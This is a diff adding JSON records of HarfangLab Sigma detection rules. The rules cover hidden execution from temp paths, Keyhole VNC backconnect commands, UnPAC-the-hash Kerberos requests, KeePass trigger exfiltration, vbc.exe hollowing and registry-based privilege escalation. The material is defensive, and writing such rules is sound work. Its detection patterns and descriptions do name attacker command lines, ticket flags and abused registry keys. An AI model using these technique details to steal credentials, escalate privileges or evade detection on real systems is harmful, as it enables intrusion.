+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.001/T1564.001.md",
+    "https://attack.mitre.org/techniques/T1564/001/"
+  ],
+  "name": "t1564_001_hidden_temporary_path_file_execution.yml",
+  "content": "title: Hidden File Execution from Temporary Paths\nid: 6b6a4571-da9f-4a59-95d2-54764f10e54d\ndescription: |\n    Detects the execution of a file that is hidden or in a hidden directory from a temporary folder.\n    This could be used by an attacker to try and evade detection and hide their traces, as temporary folders are cleaned on reboot.\n    It is recommended to analyze the parent process for suspicious activities and to determine if the executed binary is legitimate.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.001/T1564.001.md\n    - https://attack.mitre.org/techniques/T1564/001/\ndate: 2021/10/11\nmodified: 2025/02/12\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.execution\n    - attack.t1564.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|startswith:\n            - '/tmp/.'\n            - '/var/tmp/.'\n            - '/tmp/*/.'\n            - '/var/tmp/*/.'\n\n    # Systemd mounts some appimages and other similar binary-as-devices in `/tmp/.mount_xxxxx/`.\n    filter_tmp_mounts:\n        Image|startswith:\n            - '/tmp/.mount_*/'\n            - '/var/tmp/.mount_*/'\n\n    exclusion_oracle:\n        Image: '/tmp/RU_Oracle/gateways/install/.oui'\n\n    exclusion_java:\n        ParentImage|endswith: '/jre/bin/java'\n\n    exclusion_heroku:\n        Image|endswith: '/tmp/build/.heroku/node/bin/node'\n\n    exclusion_dropbox:\n        Image: '/tmp/.dropbox-*/.dropbox-dist/dropbox-*/dropbox'\n\n    exclusion_node:\n        ParentImage: '/usr/local/bin/node'\n\n    exclusion_maturin:\n        Image|endswith: '/bin/maturin'\n        CommandLine|contains: 'build-wheel'\n\n    exclusion_terraform:\n        Image|startswith:\n            - '/tmp/tmp.*/.terraform/providers/registry.terraform.io/'\n            - '/tmp/provider.tf??????????/.terraform/providers/registry.terraform.io'\n            - '/tmp/tf/.terraform/providers/registry.'\n            - '/tmp/dev-platform-deploy/terragrunt/'\n\n    exclusion_pip_meson:\n        Image:\n            - '/tmp/pip-install-????????/*/.mesonpy-????????/meson-private/sanitycheckc.exe'\n            - '/tmp/pip-install-????????/*/.mesonpy-????????/meson-private/sanitycheckcpp.exe'\n\n    exclusion_constgen:\n        Image: '/tmp/.const_generator????????-???????-??????.bin'\n\n    exclusion_vmware:\n        Image: '/tmp/.vmware-sysinfo-????????????????/vmware-sysinfo'\n\n    exclusion_sap:\n        Image: '/tmp/.SAPOSCOL_*_*.EXE'\n        ParentImage: '/usr/sap/hostctrl/exe/saposcol'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6b6a4571-da9f-4a59-95d2-54764f10e54d",
+  "rule_name": "Hidden File Execution from Temporary Paths",
+  "rule_description": "Detects the execution of a file that is hidden or in a hidden directory from a temporary folder.\nThis could be used by an attacker to try and evade detection and hide their traces, as temporary folders are cleaned on reboot.\nIt is recommended to analyze the parent process for suspicious activities and to determine if the executed binary is legitimate.\n",
+  "rule_creation_date": "2021-10-11",
+  "rule_modified_date": "2025-02-12",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6b8fcfbc-7430-4b29-b1bb-4e65bee98aec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079042Z",
+  "creation_date": "2026-03-23T11:45:34.079044Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079048Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/walmartglobaltech/keyhole-analysis-60302922aa03",
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.keyhole",
+    "https://blog.nviso.eu/2023/03/20/icedids-vnc-backdoors-dark-cat-anubis-keyhole/",
+    "https://www.trendmicro.com/fr_fr/research/25/b/black-basta-cactus-ransomware-backconnect.html",
+    "https://attack.mitre.org/techniques/T1021/005/"
+  ],
+  "name": "t1021_005_keyhole_vnc_command_executed.yml",
+  "content": "title: Keyhole VNC Command Executed\nid: 6b8fcfbc-7430-4b29-b1bb-4e65bee98aec\ndescription: |\n    Detects commands executed through the Keyhole VNC module, also named BackConnect module.\n    Keyhole is a multi-functional backconnect component use to establish and maintain persistent control over compromised systems.\n    This module is especially used by ransomware group and is related to trojan like IcedID, Qakbot, TrickBot and Latrodectus.\n    It is recommended to check for injected threads and to review network connexion into the grandparent process, as well as to investigate the command executed.\nreferences:\n  - https://medium.com/walmartglobaltech/keyhole-analysis-60302922aa03\n  - https://malpedia.caad.fkie.fraunhofer.de/details/win.keyhole\n  - https://blog.nviso.eu/2023/03/20/icedids-vnc-backdoors-dark-cat-anubis-keyhole/\n  - https://www.trendmicro.com/fr_fr/research/25/b/black-basta-cactus-ransomware-backconnect.html\n  - https://attack.mitre.org/techniques/T1021/005/\ndate: 2025/07/09\nmodified: 2025/08/05\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.005\n    - attack.execution\n    - attack.t1059.001\n    - attack.t1059.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Trojan.Keyhole\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentCommandLine:\n            - 'cmd.exe /K chcp 65001 && c: && cd c:\\'\n            - 'powershell.exe  -c \"[Console]::OutputEncoding = [Console]::InputEncoding = [System.Text.Encoding]::GetEncoding(?utf-8?); cd c:\\; powershell\"'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6b8fcfbc-7430-4b29-b1bb-4e65bee98aec",
+  "rule_name": "Keyhole VNC Command Executed",
+  "rule_description": "Detects commands executed through the Keyhole VNC module, also named BackConnect module.\nKeyhole is a multi-functional backconnect component use to establish and maintain persistent control over compromised systems.\nThis module is especially used by ransomware group and is related to trojan like IcedID, Qakbot, TrickBot and Latrodectus.\nIt is recommended to check for injected threads and to review network connexion into the grandparent process, as well as to investigate the command executed.\n",
+  "rule_creation_date": "2025-07-09",
+  "rule_modified_date": "2025-08-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.005",
+    "attack.t1059.001",
+    "attack.t1059.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6ba77b38-d3e5-4842-ae46-fde9082b97af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086333Z",
+  "creation_date": "2026-03-23T11:45:34.086335Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086339Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/falconforce/falconfriday-detecting-unpacing-and-shadowed-credentials-0xff1e-2246934247ce",
+    "https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash",
+    "https://attack.mitre.org/techniques/T1649/"
+  ],
+  "name": "t1649_unpac_the_hash.yml",
+  "content": "title: UnPAC the Hash\nid: 6ba77b38-d3e5-4842-ae46-fde9082b97af\ndescription: |\n    Detects suspicous service ticket request with the `ENC-TKT-IN-SKEY` flag option linked to the UnPAC-the-hash attack.\n    UnPAC-the-hash lets an attacker with a valid Kerberos TGT — and the ability to sign tickets as the user (e.g., via the user’s private key, Shadow Credentials, or a Golden Certificate) — extract that user’s NTLM (and legacy LM) password hashes.\n    By abusing PAC validation and forged tickets, the technique converts Kerberos authentication material into reusable NTLM hashes for lateral movement and pass-the-hash attacks.\n    The result is credential theft that can enable persistent and high-privilege domain compromise.\n    It is recommended to pivot to the source IP for suspicious activities.\nreferences:\n    - https://medium.com/falconforce/falconfriday-detecting-unpacing-and-shadowed-credentials-0xff1e-2246934247ce\n    - https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash\n    - https://attack.mitre.org/techniques/T1649/\ndate: 2024/11/08\nmodified: 2025/11/04\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1649\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.ActiveDirectory\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 4769\n        TicketOptions:\n          - '0x40810018' # Certipy --> Forwardable | Renewable | Canonicalize | Enc_tkt_in_skey | Renewable_ok\n          - '0x40800018' # Kekeo   --> Forwardable | Renewable | Enc_tkt_in_skey | Renewable_ok\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6ba77b38-d3e5-4842-ae46-fde9082b97af",
+  "rule_name": "UnPAC the Hash",
+  "rule_description": "Detects suspicous service ticket request with the `ENC-TKT-IN-SKEY` flag option linked to the UnPAC-the-hash attack.\nUnPAC-the-hash lets an attacker with a valid Kerberos TGT — and the ability to sign tickets as the user (e.g., via the user’s private key, Shadow Credentials, or a Golden Certificate) — extract that user’s NTLM (and legacy LM) password hashes.\nBy abusing PAC validation and forged tickets, the technique converts Kerberos authentication material into reusable NTLM hashes for lateral movement and pass-the-hash attacks.\nThe result is credential theft that can enable persistent and high-privilege domain compromise.\nIt is recommended to pivot to the source IP for suspicious activities.\n",
+  "rule_creation_date": "2024-11-08",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1649"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6bab01c3-5165-4dfd-a77a-42077f50025a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.297227Z",
+  "creation_date": "2026-03-23T11:45:35.297229Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.297233Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.kali.org/docs/wsl/",
+    "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/22/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-1",
+    "https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux",
+    "https://attack.mitre.org/techniques/T1202/"
+  ],
+  "name": "t1202_wsl_hacking_distribution_execution.yml",
+  "content": "title: Hacking Distribution Executed Under WSL\nid: 6bab01c3-5165-4dfd-a77a-42077f50025a\ndescription: |\n  Detects the execution of various Linux hacking distributions through WSL (Windows Subsystem For Linux).\n  Popular hacking distributions provide pre-installed penetration testing and security assessment tools that could be leveraged for malicious purposes.\n  Threat actors may abuse WSL to evade Windows security controls and execute malicious code.\n  It is recommended to monitor process trees and subsequent WSL activities for signs of malicious behavior.\nreferences:\n    - https://www.kali.org/docs/wsl/\n    - https://blog.qualys.com/vulnerabilities-threat-research/2022/03/22/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-1\n    - https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux\n    - https://attack.mitre.org/techniques/T1202/\ndate: 2026/03/03\nmodified: 2026/03/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1202\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_process:\n        ProcessImage:\n          - '?:\\Program Files\\WindowsApps\\KaliLinux*\\kali.exe'\n          - '?:\\Program Files\\WindowsApps\\\\*Voza.AthenaOS*\\athena.exe'\n        ProcessParentImage: '?:\\Program Files\\WSL\\wsl.exe'\n\n    selection_commandline:\n        ProcessImage: '?:\\Program Files\\WSL\\wsl.exe'\n        ProcessCommandLine|contains:\n          - '-d kali-linux'\n          - '-d Athena'\n          - '-d ParrotOS'\n\n    condition: 1 of selection_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6bab01c3-5165-4dfd-a77a-42077f50025a",
+  "rule_name": "Hacking Distribution Executed Under WSL",
+  "rule_description": "Detects the execution of various Linux hacking distributions through WSL (Windows Subsystem For Linux).\nPopular hacking distributions provide pre-installed penetration testing and security assessment tools that could be leveraged for malicious purposes.\nThreat actors may abuse WSL to evade Windows security controls and execute malicious code.\nIt is recommended to monitor process trees and subsequent WSL activities for signs of malicious behavior.\n",
+  "rule_creation_date": "2026-03-03",
+  "rule_modified_date": "2026-03-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1202"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6bebbdc8-ffec-4e3d-8572-19125a63f092",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079354Z",
+  "creation_date": "2026-03-23T11:45:34.079356Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079361Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/alt3kx/CVE-2023-24055_PoC",
+    "https://keepass.info/help/kb/trigger_examples.html"
+  ],
+  "name": "t1555_suspicious_process_parent_keepass.yml",
+  "content": "title: Suspicious Process Launched by KeePass\nid: 6bebbdc8-ffec-4e3d-8572-19125a63f092\ndescription: |\n    Detects execution of a suspicious process launched by KeePass.exe that can be the result of a trigger action.\n    KeePass allows to configure triggers to automatically launch actions based on different events.\n    Attackers can modify the KeePass configuration file KeePass.config.xml to add malicious triggers, for example, to exfiltrate the credentials to an attacker controlled server.\n    The CVE 2023-24055 is known to exploit this feature.\n    It is recommended to analyze the execution command to look for signs of exfiltration or data theft.\nreferences:\n    - https://github.com/alt3kx/CVE-2023-24055_PoC\n    - https://keepass.info/help/kb/trigger_examples.html\ndate: 2023/01/27\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546\n    - attack.credential_access\n    - attack.t1555\n    - attack.collection\n    - attack.t1119\n    - attack.exfiltration\n    - attack.t1020.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\KeePass.exe'\n        Image|startswith: '?:\\'\n\n    exclusion_common:\n        Image:\n            - '?:\\Program Files\\\\*'\n            - '?:\\Program Files (x86)\\\\*'\n            - '?:\\Windows\\Explorer.exe'\n            - '?:\\windows\\system32\\WerFault.exe'\n            - '?:\\Windows\\SysWOW64\\WerFault.exe'\n            - '*\\chrome.exe'\n            - '*\\firefox.exe'\n            - '*\\brave.exe'\n            - '*\\sidekick.exe'\n            - '*\\putty.exe'\n            - '*\\PuTTY\\pageant.exe'\n            - '*\\WinSCP\\WinSCP.exe'\n            - '*\\KeePass-*\\KeePass.exe'\n            - '?:\\Windows\\System32\\mstsc.exe'\n            - '*\\AppData\\Local\\KeeForm\\AutoIt3.exe'\n            - '*\\AppData\\Local\\Programs\\Opera\\launcher.exe'\n            - '?:\\Windows\\System32\\Fondue.exe'\n            - '*\\AppData\\Local\\Programs\\Opera GX\\launcher.exe'\n            - '?:\\Windows\\Microsoft.NET\\Framework64\\v*\\csc.exe'\n            - '?:\\Windows\\System32\\OpenSSH\\ssh.exe'\n            - '?:\\Windows\\System32\\bdeunlock.exe'\n            - '*\\AppData\\Local\\Programs\\Opera\\opera.exe'\n            - '*\\AppData\\Local\\Programs\\Opera GX\\opera.exe'\n            - '*\\AppData\\Local\\Vivaldi\\Application\\vivaldi.exe'\n            - '*\\Keepass\\KeePass\\Applications\\Chromium\\chrome.exe'\n            - '*\\Keepass\\KeePass\\Applications\\Kitty\\kitty_portable.exe'\n            - '*\\AppData\\Local\\Chromium\\Application\\chrome.exe'\n\n    exclusion_rundll32:\n        CommandLine:\n            - '?:\\WINDOWS\\system32\\rundll32.exe ?:\\WINDOWS\\system32\\mshtml.dll,PrintHTML *'\n            - '?:\\Windows\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCER ?:\\Users\\\\*'\n            - '?:\\windows\\system32\\rundll32.exe cryptext.dll,CryptExtAddPFX ?:\\Users\\\\*'\n            - '?:\\WINDOWS\\system32\\rundll32.exe ndfapi.dll,NdfRunDllDiagnoseWithAnswerFile NetworkDiagnosticsSharing ?:\\Users\\\\*'\n            - 'rundll32 ?:\\WINDOWS\\system32\\spool\\DRIVERS\\x64\\3\\\\*,MonitorPrintJobStatus *'\n\n    exclusion_cmdkey:\n        CommandLine: '?:\\Windows\\System32\\cmd.exe /c cmdkey /generic:*TERMSRV/* && timeout * && cmdkey /delete*'\n\n    exclusion_keepass1:\n        OriginalFileName: 'KeePass.exe'\n        Signed: 'true'\n        Signature: 'Open Source Developer, Dominik Reichl'\n\n    exclusion_keepass2:\n        Name: 'KeePass.tmp'\n        Description: 'Setup/Uninstall'\n\n    exclusion_osk:\n        OriginalFileName: 'osk.exe'\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    # https://www.joeware.net/freetools/tools/cpau/index.htm\n    exclusion_cpau:\n        Image|endswith: '\\CPAU.exe'\n        Company: 'www.joeware.net'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6bebbdc8-ffec-4e3d-8572-19125a63f092",
+  "rule_name": "Suspicious Process Launched by KeePass",
+  "rule_description": "Detects execution of a suspicious process launched by KeePass.exe that can be the result of a trigger action.\nKeePass allows to configure triggers to automatically launch actions based on different events.\nAttackers can modify the KeePass configuration file KeePass.config.xml to add malicious triggers, for example, to exfiltrate the credentials to an attacker controlled server.\nThe CVE 2023-24055 is known to exploit this feature.\nIt is recommended to analyze the execution command to look for signs of exfiltration or data theft.\n",
+  "rule_creation_date": "2023-01-27",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.exfiltration",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1020.001",
+    "attack.t1119",
+    "attack.t1546",
+    "attack.t1555"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6c0a05e4-4c36-4aa7-b69f-43d675d98d73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075215Z",
+  "creation_date": "2026-03-23T11:45:34.075217Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075222Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_vbc.yml",
+  "content": "title: Vbc.exe Sacrificial Process Spawned\nid: 6c0a05e4-4c36-4aa7-b69f-43d675d98d73\ndescription: |\n    Detects the suspicious execution of the legitimate vbc.exe Windows binary, spawned without arguments and in an abnormal execution context.\n    This can mean that the binary is being used as sacrificial or hollowed process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    This technique is used by, for instance, by the Vidar malware.\n    It is recommended to investigate the parent process performing this action and the destination IP address of the vbc.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/05/13\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SacrificialProcess\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProcessTampering\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine: '?:\\Windows\\Microsoft.NET\\Framework\\v*\\vbc.exe'\n\n    filter_ngen:\n        CommandLine|startswith: '?:\\Windows\\Microsoft.NET\\framework\\v*\\ngen.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6c0a05e4-4c36-4aa7-b69f-43d675d98d73",
+  "rule_name": "Vbc.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate vbc.exe Windows binary, spawned without arguments and in an abnormal execution context.\nThis can mean that the binary is being used as sacrificial or hollowed process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nThis technique is used by, for instance, by the Vidar malware.\nIt is recommended to investigate the parent process performing this action and the destination IP address of the vbc.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-05-13",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6c11d396-ac4b-440d-ba67-ffb304d6e65d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.596089Z",
+  "creation_date": "2026-03-23T11:45:34.596092Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.596099Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1068_process_unprivileged_user_modifying_service_registry_config.yml",
+  "content": "title: Unprivileged User Modified Service Registry Configuration in Command-line\nid: 6c11d396-ac4b-440d-ba67-ffb304d6e65d\ndescription: |\n    Detects registry configuration modifications via command-line that could allow unprivileged users to escalate privileges by modifying service configurations in the registry.\n    Such modifications can be indicative of malicious activity, as attackers often exploit registry vulnerabilities to gain elevated privileges.\n    Registry keys controlling service configurations are particularly sensitive, as unauthorized changes can lead to service misbehavior or unauthorized access.\n    It is recommended to investigate the modified registry key to identify any unauthorized changes and check if the modification leads to a privilege escalation.\nreferences:\n    - https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2022/09/07\nmodified: 2025/02/11\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - attack.persistence\n    - attack.t1574.011\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_integrity:\n        IntegrityLevel:\n            - 'Low'\n            - 'Medium'\n\n    selection_reg:\n        OriginalFileName: 'reg.exe'\n        CommandLine|contains: 'add'\n\n    selection_powershell:\n        OriginalFileName: 'powershell.exe'\n        CommandLine|contains:\n            - 'set-itemproperty'\n            - ' sp '\n            - 'new-itemproperty'\n\n    selection_args_1:\n        CommandLine|contains|all:\n            - 'ControlSet'\n            - 'Services'\n\n    selection_args_2:\n        CommandLine|contains:\n            - 'ImagePath'\n            - 'FailureCommand'\n            - 'ServiceDll'\n\n    condition: selection_integrity and (selection_reg or selection_powershell) and all of selection_args_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
